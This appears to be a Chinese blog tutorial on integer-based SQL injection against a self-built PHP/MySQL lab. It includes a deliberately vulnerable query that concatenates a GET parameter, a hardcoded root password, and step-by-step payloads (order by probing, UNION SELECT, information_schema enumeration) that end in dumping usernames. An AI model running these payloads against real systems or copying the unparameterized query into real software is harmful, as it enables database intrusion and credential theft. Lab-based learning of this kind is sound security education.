zoukankan      html  css  js  c++  java
  • SQL注入中的整型注入实验

    首先搭建一个用于注入的环境

    目录结构

    conn.php    用来连接数据库的文件PHP文件

    index.php    用来执行SQL命令,以及返回查询结构

    index.html              一个存在注入点的页面

    conn.php的代码

    <?php
    $servername="localhost";
    $username="root";
    $password="weiwhy";
    try{
    $con=new PDO("mysql:host=$servername;dbname=phpdisk",$username,$password);
    echo "链接数据库成功";
    }catch(PDOException $e){
    echo $e->getMessage();
    }
    
    $con->exec('set names utf8');///exec方法用来执行没有结果返回的SQL语句。。。设置查询语句为utf-8
    ?>

    index.php代码

    <?php
    require('conn.php');
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Document</title>
    </head>
    <body>
        <?php
            $id=$_GET['id'];
            $result=$con->query("select * from pd_users where userid=$id");//执行查询的SQL语句
            foreach($result as $value){
                var_dump($value);////直接输出作为显示位
            }
        ?>
    </body>
    </html>

    index.html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Document</title>
    </head>
    <body>
        <form action="index.php" method="GET">
            <input type="text" name="id">
            <input type="submit" value="提交">
        </form>
    </body>
    </html>

    存在的注入点为

    http://www.a.com/index.php?id=1 

    第一步,首先判断注入点是否可用

    http://www.a.com/index.php?id=1  and 1=1显示正常

    http://www.a.com/index.php?id=1  and 1=2 正常返回但是没有数据

    第二步,判断查询的表存在的列数

    http://www.a.com/index.php?id=1  order by 2

    使用排序方法判断存在多少行,根据第29列无法排序,说明不存在这一列

    根据第28列排序正常,所以此表存在28列

    第三步,使用联合查询,查找显示位

    union select 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4

    第四步,查询所有的库名

    通过查询information_schema.schemata表

    select distinct group_concat(schema_name) from information_schema.schemata

    第五步,查询指定库的所有表

    可以看到上一步中,拿到另外所有的库名,这一步指定查询estoresyste库

    select distinct group_concat(table_name) from information_schema.tables where table_schema='estoresystem'

    第六步,查询指定表的所有列

    拿到指定库的所有表之后,指定查询user表的所有列

    select distinct group_concat(column_name) from information_schema.columns where table_name='users'

    第七步,查询数据

     select distinct group_concat(username) from estoresystem.users

     查询到该表的四个用户

  • 相关阅读:
    冒泡排序法
    冒泡排序法
    【HAOI2008】圆上的整点
    2018年全国多校算法寒假训练营练习比赛(第四场)F:Call to your teacher
    (java)Jsoup爬虫学习--获取网页所有的图片,链接和其他信息,并检查url和文本信息
    CSS 选择器
    (java)selenium webdriver学习---实现简单的翻页,将页面内容的标题和标题链接取出
    (java)selenium webdriver学习---三种等待时间方法:显式等待,隐式等待,强制等待
    使用D3绘制图表(5)--水平柱状图表
    使用D3绘制图表(4)--面积图表
  • 原文地址:https://www.cnblogs.com/smallsima/p/8760733.html
Copyright © 2011-2022 走看看